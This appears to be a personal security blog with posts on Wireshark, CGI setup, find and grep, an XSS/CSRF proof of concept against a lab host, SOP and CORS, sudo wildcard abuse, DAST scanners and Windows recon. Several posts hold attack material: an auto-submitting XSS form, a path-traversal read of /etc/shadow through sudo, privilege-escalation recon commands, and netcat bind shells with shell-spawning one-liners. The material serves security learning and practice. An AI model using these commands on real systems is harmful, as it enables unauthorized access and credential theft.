Wednesday, November 28, 2018

WireShark Malware Analysis basics

I was going through some of the pcap challenges on https://www.malware-traffic-analysis.net. There I stumbled upon a some very good posts for getting stared with wireshark which are mentioned in the reference below.

HTTP

Some columns can be set in wireshark which help in http traffic investigations:


  • Src Port
  • Dest Port 
  • Host 
  • User-Agent 
  • Request URI 
  • Content-Type 
  • Status Code
  • Location (302) [Heplful when SSL com starts]
  • Referer



Tshark:

 tshark -r “/file.pcap"  -T fields -e dns.qry.name -e ip.src -e ip.dst  -e _ws.col.Info | grep “mydomain\|10.10.10.15\|10.10.10.16"
 





Reference:




Tuesday, November 20, 2018

SetUp CGI perl on CentOS apache



Setup apache webserver on CentOS

sudo yum install httpd

To make this web server available from lan or we need to whitelist our interfaces as Listen *:80
in /etc/httpd/conf/httpd.conf 


Now, we setup CGI execution, change the directory settings in httpd.conf
Before restarting httpd we have to change one more thing inside /etc/httpd/conf/httpd.conf:
<Directory "var/www/html">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl
</Directory>

Change permissions to allow for CGI to execute
And this one got me stuck a lot! Don't overlook this!
You need to tell your server that these CGI scripts are allowed to be executed as programs.
chmod 705 *.cgi
Or you can target individual CGI scripts.
chmod 705 hello.cgi

Put cgi files in /var/www/cgi-bin/ and run as  http://serverip/cgi-bin/script.cgi

cat /etc/httpd/conf/httpd.conf | grep ScriptAlias should have something like this in the output
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"


This is enough to run a test cgi script.


In case aces you might need to install more packages for a particular script such as MD5 digest.
# sudo yum install perl-Digest-MD5 -y

Now Reboot Apache : sudo apachectl stop, sudo apachectl start









Tuesday, July 24, 2018

Search string


Find files with particular string in file name
  • find / -name "*.err"
    / - starting from / to all sub directories.
  • Specify file type with find type = d (directory) , f (file)
  • Find SUID files
    find / -perm /u=s
  • To find all the files which are modified more than 50 days back and less than 100 days.
    # find / -mtime +50 –mtime -100
  •  To find all the files which are changed in last 1 hour.
    # find / -cmin -60
  • To find all the files which are modified in last 1 hour.
    # find / -mmin -60
  • To find all the files which are accessed in last 1 hour.# find / -amin -60

Find String inside files and print file name
  • grep -rnw '/path/to/somewhere/' -e 'pattern'
    /path/to/somewhere/ - Starting directory
    -r or -R is recursive,
    -n is line number, and
    -w stands for match the whole word.
    -l (lower-case L) can be added to just give the file name of matching files.
     
  • ack 'text-to-find-here'

 
Redirect errors to Stdout


  • 2&>1
  • Now you can grep out the errors
    find / -name "*.err" 2&>1 | grep -v denied


     

Friday, May 18, 2018

XSS, CSRF and SOP Mythbuster

I was asked if reflected Cross site scripting (XSS) in POST would be stopped or mitigated by Same origin policy(SOP)? Hmmm...interesting question. As far as I could recall, I answered, simple post submission by html forms are not stopped by SOP.

There seems to be a misconception that POST cross domain request are not allowed due to SOP and that XSS in POST is only exploited in cases of stored XSS. Also that, reflected XSS is exploitable only is GET cases.

Oh well, why believe what anyone says, lets test it out. To test this I will set up a simple html page on victim server(10.211.55.2),  lets call it input page which  takes a comment and post it to post.php page. The post.php page suffers from a serious case of reflected XSS.

<form action="post.php" method="post">
 <input type="text" name="comment" value="">
 <input type="submit" name="submit" value="Submit">
</form>
post.php

<?php
echo $_POST["comment"];
Now lets create a simple html page to exploit it. I was too lazy to create one myself so i decided burp should do it for me. We can call it, test.html.
<html>
  <!-- Simple Post submissions are not blocked by Same origin policy-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.2/xss/post.php" method="POST">
      <input type="hidden" name="comment" value="testw&lt;script&gt;alert&#40;12345&#41;&lt;&#47;script&gt;wxvu2" />
      <input type="hidden" name="submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Now for the sake of this proof of concept to proceed, let us assume an attacker was able to redirect users to his malicious web server, serving test.html, or just sends this html page as an attachment.

User visits the malicious website(10.211.55.5) on windows and opens test.html...



...and submits the post form to execute XSS which is hosted on 10.211.55.2.



Taking it a step further so that we can call a javascript to "click" the submit button. Javascripts can be used to simulate a post form submission.
<!DOCTYPE html>

<html>

  <!-- Simple Post submissions are not blocked by Same origin policy-->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://10.211.55.2/xss/post.php" method="POST">

      <input type="hidden" name="comment" value="testw&lt;script&gt;alert&#40;12345&#41;&lt;&#47;script&gt;wxvu2" />

      <input type="hidden" name="submit" value="Submit" />

      <input type="submit" id ="ert" value="Submit request" />

    </form>

  </body>

<script>

document.getElementById("ert").submit();

</script>

</html>


This happens because "The same origin policy is not enforced for all requests. Among others the <script>- and <img>-tags may fetch resources from any domain. Posting forms and linking to other domains is possible, too. "

We can easily extend this to malicious CSRF form submissions. 


So in essence we can conclude:

1. Reflected POST xss can be exploited the same as POST xss, i.e. sending the user to malicious link and use javascript to auto submit the xss post form.

2. Same origin policy does not apply to Cross domain POST form submissions, hence SOP is not a mitigating factor for POST XSS or CSRF. 


References:

https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important
https://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/
https://w-shadow.com/blog/2008/11/20/cross-domain-post-with-javascript/

Monday, May 14, 2018

SOP & CORS

SOP


OriginTwo pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.

Under the policy, a web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin.


Assume you are logged into Facebook and visit a malicious website in another browser tab. Without the same origin policy JavaScript on that website could do anything to your Facebook account that you are allowed to do.

But of course Facebook wants to use JavaScript to enhance the user experience. So it is important that the browser can detect that this JavaScript is trusted to access Facebook resources. That's where the same origin policy comes into play: If the JavaScript is included from a HTML page on facebook.com, it may access facebook.com resources.

The origin of a JavaScript file is defined by the domain of the HTML page which includes it. So if you include the Google Analytics code with a <script>-tag, it can do anything to your website but does not have same origin permissions on the Google website.



The same origin policy is not enforced for all requests. Among others the <script>- and <img>-tags may fetch resources from any domain.


HTTP cookies are dependent on the Same Origin Policy to ensure that sensitive information held about a certain user's activity pertains only to one site.

CORS

This cross-origin sharing standard is used to enable cross-site HTTP requests for:

  • Invocations of the XMLHttpRequest or Fetch APIs in a cross-site manner, as discussed above.
  • Web Fonts (for cross-domain font usage in @font-face within CSS)
  • Images/video frames drawn to a canvas using drawImage.
  • Stylesheets (for CSSOM access).


The Cross-Origin Resource Sharing standard works by adding new HTTP headers that allow servers to describe the set of origins that are permitted to read that information using a web browser.

Simple request

Some requests don’t trigger a CORS preflight. Those are called “simple requests” in this article. A request that doesn’t trigger a CORS preflight—a so-called “simple request”—is one that meets all the following conditions:

The only allowed values for the Content-Type request header for simple requests are:
  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

.......and more

Preflighted request


Unlike “simple requests” (discussed above), "preflighted" requests first send an HTTP request by the OPTIONS method to the resource on the other domain, in order to determine whether the actual request is safe to send.




Monday, January 1, 2018

Sudo

What access do I have?
$ sudo -l

What access do other users have?
$ sudo -U username -l

Run a Command as Another User
Use the -u flag
$ sudo -u [username] [command] 
Enter your password, not the root password

Run a Command as Another Group
Use the -g flag
$ sudo -g operator dump 
$ sudo -g #5 dump

Rules processed in order; Last matching rule wins

Dangers of Wildcards (Check by sudo -l or access to sudoers file)
Pete ALL=/bin/cat /var/log/messages*
So you can view all the /var/log/messages archives...
$ sudo cat /var/log/messages /etc/shadow or
$ sudo cat /var/log/messages/../../../etc/shadow
 ...and all the other files in the system

And many More...


References:

http://repository.root-me.org/Administration/Unix/EN%20-%20sudo%20:%20you're%20doing%20it%20wrong.pdf

Thursday, June 29, 2017

How do Web application Scanners Work? (DAST)

Most of the DAST(Dynamic application security testing) scanners work pretty much the same at a very high level. It can be generally broken into 3 phases. For each phase scanner has a different module. These 3 phases are discussed below.

Crawl Phase

Firstly each scanner has a crawler module. The scanner first kicks-off with the starting url, e.g. www.example.com, and then captures all the linked pages it can find on that page. Next it visits those linked pages and from there tries to find if any new pages have been found and on and on. It keeps a track of the found pages to ensure it doesn't waste time on duplicates.

At the same time it records any forms which it encounter on those pages. Then it tries to submit that form with correct data to discover new pages in the application and the cycle continues. It goes on till it would fill out all the forms found.

This way an automated scanner tries to map out an application to cover most pages of the application and gather Request and Response pairs. Scanners essentially need these request and response to perform the test cases.

To summarize the crawl phase:
Input to this phase is usually a Starting URL.
Output would be list of request and responses or Crawl data.

Detection/Scan Phase

In this phase the Scanners would use its detection module on the request and responses captured during crawl phase to detect vulnerabilities. To do this, detection module uses certain of checks or a set of pre-defined test cases.

Crawl data is run through or feed to these set of test cases for detecting vulnerabilities. based on which test case the vulnerability is found the scanner decides it Rating(High, medium, low).

The scan stops when the scanners goes through all the crawl data for detecting vulnerabilities and no more new pages or forms are discovered.

To summarize the Detection phase:
Input to this phase is usually a Crawl data.
Output would be list of Vulnerability discovered or Scan data.

*Scanners would usually run the scan phase with crawl in parallel. Number of threads for each can vary.* 

Reporting 

Each scanner usually has a reporting engine. The scan data upon scan completion is usually in a scanner readable format. These formats are usually not very convenient for sharing and are not human friendly for manager or testers to process.

For this reason the the scanners would process the scan and crawl data it found in the scan and convert it into a human readable format. Each scanner may have various formats in which the reports may be presented, e.g HTML, PDF, XML, Word.

For portability HTML and PDF reports work best. For automation XML formats are generally used.

Some Enterprise version may additionally provide Bug tracking capabilities as well.

To summarize the Reporting phase:
Input to this phase is usually Scan and crawl data.
Output would be neatly organized Vulnerability Report with findings and graphs.



Wednesday, May 24, 2017

Windows recon

  • Find running services
    sc query state= all
    sc query state= all | find "SERVICE_NAME"
  • Started windows Service - net start
  • List of running processes with user
    tasklist /v /fi "username ne djndfj" //(where djndfj is a user that does not exists.)
    tasklist /v /fi "username ne djndfj" | find /i "system" // process running with system privileges.
  • Read files - type <filename>
  • Create file echo "text" > path/filename
  • version - ver
  • environment variables - set
  • File permissions- cacls <filename>
  • Lateral recon - ARP cache
    ARP -A
  • Scheduled tasks- schtasks /query /fo LIST /v
  • process with service- tasklist /SVC
  • determine which Services can be modified by any authenticated user - accesschk.exe -uwcqv "Authenticated Users" * /accepteula
  • to list all unquoted service paths - wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """


Reference:

http://www.fuzzysecurity.com/tutorials/16.html
https://www.toshellandback.com/2015/11/24/ms-priv-esc/
VizSec



Sunday, May 7, 2017

Command execution to Shell with Netcat

  • Linux (Host) with netcat
    • $ mkfifo foo
    • nc -lk 2600 0<foo | /bin/bash 1>foo         /*2600 is port*/

    On Attacking Maching: $ nc ip 2600

  • Windows (Host) with netcat
    • nc -nlvp 4444 -e cmd.exe

Shell Spawning


python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh') 
(From within IRB) exec "/bin/sh" 
(From within vi):!bash 
(From within vi) :set shell=/bin/bash:shell
(From within map) !sh